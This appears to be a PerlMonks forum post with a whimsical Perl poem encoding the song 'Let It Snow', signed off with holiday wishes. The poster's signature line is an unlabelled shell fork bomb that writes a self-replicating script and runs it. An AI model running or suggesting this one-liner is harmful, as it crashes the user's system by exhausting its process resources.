Heard this on the radio today and couldn't resist.

$weather{outside} = 'frightful';
$fire = 'so delightful';

while ($you eq "love me so") {
    print "let it snow\n"x3;
}
[download]

Completetion of the song is left as a challenge to other monks. :-P

Merry xmas,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;